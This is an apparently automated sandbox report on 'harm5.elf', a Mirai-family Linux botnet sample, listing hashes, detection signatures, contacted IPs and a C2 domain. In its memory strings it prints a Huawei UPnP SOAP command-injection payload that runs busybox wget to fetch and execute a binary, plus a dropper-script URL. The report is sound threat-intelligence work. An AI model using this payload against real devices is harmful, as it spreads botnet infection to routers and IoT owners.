Linux Analysis Report
harm5.elf

Overview

General Information

Sample name:	harm5.elf
Analysis ID:	1546611
MD5:	32572c3cd5ccdc3ce70819f7bf330204
SHA1:	d9e055d7d6c574098bf9c9f75da7666a6d14491a
SHA256:	fab327fbb72ab797d94f685feb5f285c3e556d9e49715e174333c8a554d750d0
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai

Score:	80
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Yara detected Mirai

Connects to many ports of the same IP (likely port scanning)

Sample reads /proc/mounts (often used for finding a writable filesystem)

Detected TCP or UDP traffic on non-standard ports

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Malware Threat Intel
Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Signatures

AV Detection

Antivirus / Scanner detection for submitted sample

Source: harm5.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: harm5.elf

ReversingLabs: Detection: 52%

Networking

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 213.182.204.57 ports 9334,0,1,3,5,13035
Source: global traffic	TCP traffic: 193.233.193.45 ports 1,5,7,8,1857,17669

Detected TCP or UDP traffic on non-standard ports

Source: global traffic	TCP traffic: 192.168.2.23:43344 -> 31.13.248.89:7347
Source: global traffic	TCP traffic: 192.168.2.23:33782 -> 193.233.193.45:1857
Source: global traffic	TCP traffic: 192.168.2.23:44052 -> 91.149.218.232:24145
Source: global traffic	TCP traffic: 192.168.2.23:44588 -> 213.182.204.57:13035
Source: global traffic	TCP traffic: 192.168.2.23:43400 -> 88.151.195.22:13493
Source: global traffic	TCP traffic: 192.168.2.23:53464 -> 91.149.238.18:20344
Source: global traffic	TCP traffic: 192.168.2.23:36524 -> 81.29.149.178:13433
Source: global traffic	TCP traffic: 192.168.2.23:38882 -> 217.28.130.41:7562

Sample listens on a socket

Source: /tmp/harm5.elf (PID: 6226)

Socket: 127.0.0.1:1172

Jump to behavior

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80

Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	UDP traffic detected without corresponding DNS query: 81.169.136.222
Source: unknown	UDP traffic detected without corresponding DNS query: 81.169.136.222
Source: unknown	UDP traffic detected without corresponding DNS query: 202.61.197.122
Source: unknown	UDP traffic detected without corresponding DNS query: 194.36.144.87
Source: unknown	UDP traffic detected without corresponding DNS query: 81.169.136.222
Source: unknown	UDP traffic detected without corresponding DNS query: 5.161.109.23
Source: unknown	UDP traffic detected without corresponding DNS query: 80.152.203.134
Source: unknown	UDP traffic detected without corresponding DNS query: 139.84.165.176
Source: unknown	UDP traffic detected without corresponding DNS query: 185.181.61.24
Source: unknown	UDP traffic detected without corresponding DNS query: 194.36.144.87
Source: unknown	UDP traffic detected without corresponding DNS query: 137.220.52.23
Source: unknown	UDP traffic detected without corresponding DNS query: 5.161.109.23
Source: unknown	UDP traffic detected without corresponding DNS query: 51.158.108.203
Source: unknown	UDP traffic detected without corresponding DNS query: 217.160.70.42
Source: unknown	UDP traffic detected without corresponding DNS query: 80.152.203.134
Source: unknown	UDP traffic detected without corresponding DNS query: 194.36.144.87
Source: unknown	UDP traffic detected without corresponding DNS query: 152.53.15.127
Source: unknown	UDP traffic detected without corresponding DNS query: 64.176.6.48
Source: unknown	UDP traffic detected without corresponding DNS query: 139.84.165.176
Source: unknown	UDP traffic detected without corresponding DNS query: 152.53.15.127
Source: unknown	UDP traffic detected without corresponding DNS query: 178.254.22.166
Source: unknown	UDP traffic detected without corresponding DNS query: 185.181.61.24
Source: unknown	UDP traffic detected without corresponding DNS query: 51.158.108.203
Source: unknown	UDP traffic detected without corresponding DNS query: 70.34.254.19
Source: unknown	UDP traffic detected without corresponding DNS query: 51.158.108.203
Source: unknown	UDP traffic detected without corresponding DNS query: 70.34.254.19

Source: global traffic

DNS traffic detected: DNS query: kingstonwikkerink.dyn

Source: harm5.elf, 6233.1.00007efcdc036000.00007efcdc03c000.rw-.sdmp	String found in binary or memory: http://hailcocks.ru/wget.sh;
Source: harm5.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: harm5.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g
Source: Initial sample	String containing 'busybox' found: -l /tmp/ki -r /hmips; /bin/busybox chmod 777 * /tmp/ki; /tmp/ki huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g -l /tmp/ki -r /hmips; /bin/busybox chmod 777 * /tmp/ki; /tmp/ki huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Sample has stripped symbol table

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal80.troj.linELF@0/0@23/0

Persistence and Installation Behavior

Sample reads /proc/mounts (often used for finding a writable filesystem)

Source: /tmp/harm5.elf (PID: 6228)

File: /proc/6228/mounts

Jump to behavior

Uses the "uname" system call to query kernel version information (possible evasion)

Source: /tmp/harm5.elf (PID: 6226)

Queries kernel information via 'uname':

Jump to behavior

Source: harm5.elf, 6233.1.00007fffd2b46000.00007fffd2b67000.rw-.sdmp	Binary or memory string: ~qemu: uncaught target signal 11 (Segmentation fault) - core dumped
Source: harm5.elf, 6226.1.000055fa0d23d000.000055fa0d3b3000.rw-.sdmp, harm5.elf, 6228.1.000055fa0d23d000.000055fa0d3b3000.rw-.sdmp, harm5.elf, 6233.1.000055fa0d23d000.000055fa0d3b3000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/arm
Source: harm5.elf, 6226.1.000055fa0d23d000.000055fa0d3b3000.rw-.sdmp, harm5.elf, 6228.1.000055fa0d23d000.000055fa0d3b3000.rw-.sdmp, harm5.elf, 6233.1.000055fa0d23d000.000055fa0d3b3000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: harm5.elf, 6226.1.00007fffd2b46000.00007fffd2b67000.rw-.sdmp, harm5.elf, 6228.1.00007fffd2b46000.00007fffd2b67000.rw-.sdmp, harm5.elf, 6233.1.00007fffd2b46000.00007fffd2b67000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: harm5.elf, 6226.1.00007fffd2b46000.00007fffd2b67000.rw-.sdmp, harm5.elf, 6228.1.00007fffd2b46000.00007fffd2b67000.rw-.sdmp, harm5.elf, 6233.1.00007fffd2b46000.00007fffd2b67000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/harm5.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/harm5.elf
Source: harm5.elf, 6233.1.00007fffd2b46000.00007fffd2b67000.rw-.sdmp	Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: harm5.elf, type: SAMPLE
Source: Yara match	File source: 6233.1.00007efcdc017000.00007efcdc02d000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6226.1.00007efcdc017000.00007efcdc02d000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6228.1.00007efcdc017000.00007efcdc02d000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: harm5.elf PID: 6226, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: harm5.elf PID: 6228, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: harm5.elf PID: 6233, type: MEMORYSTR

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: harm5.elf, type: SAMPLE
Source: Yara match	File source: 6233.1.00007efcdc017000.00007efcdc02d000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6226.1.00007efcdc017000.00007efcdc02d000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6228.1.00007efcdc017000.00007efcdc02d000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: harm5.elf PID: 6226, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: harm5.elf PID: 6228, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: harm5.elf PID: 6233, type: MEMORYSTR

Screenshots

No Screenshots

Network Map

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Contacted Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
217.28.130.41	kingstonwikkerink.dyn	United Kingdom	15839	COBWEB-NETGB	false
213.182.204.57	unknown	Latvia	9009	M247GB	true
193.233.193.45	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	true
31.13.248.89	unknown	Bulgaria	34224	NETERRA-ASBG	false
88.151.195.22	unknown	Azerbaijan	15723	AZERONLINEAZ	false
91.149.238.18	unknown	Poland	41952	MARTON-ASPL	false
81.29.149.178	unknown	Switzerland	39616	COMUNICA_IT_SERVICESCH	false
91.189.91.43	unknown	United Kingdom	41231	CANONICAL-ASGB	false
91.189.91.42	unknown	United Kingdom	41231	CANONICAL-ASGB	false
109.202.202.202	unknown	Switzerland	13030	INIT7CH	false
91.149.218.232	unknown	Poland	198401	GECKONET-ASPL	false

Contacted Domains

Name	IP	Active
kingstonwikkerink.dyn	217.28.130.41	true

ID:	1546611
Product:	CloudBasic
Start time:	08:47:07
Start date:	01.11.2024
Sample:	harm5.elf
Cookbook:	defaultlinuxfilecookbook.jbs
System description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Architecture:	LINUX
MD5:	32572c3cd5ccdc3ce70819f7bf330204
SHA1:	d9e055d7d6c574098bf9c9f75da7666a6d14491a
SHA256:	fab327fbb72ab797d94f685feb5f285c3e556d9e49715e174333c8a554d750d0
Filetype:	ELF Executable and Linkable format (generic) (4004/1) 100.00%

Linux Analysis Report
harm5.elf

Overview

General Information

Detection

Signatures

Classification

Malware Threat Intel
Provided by

Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Screenshots

Network Map

Contacted Public IPs

Contacted Domains

Linux Analysis Report harm5.elf

Overview

General Information

Detection

Signatures

Classification

Malware Threat Intel Provided by

Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Screenshots

Network Map

Contacted Public IPs

Contacted Domains

Linux Analysis Report
harm5.elf

Malware Threat Intel
Provided by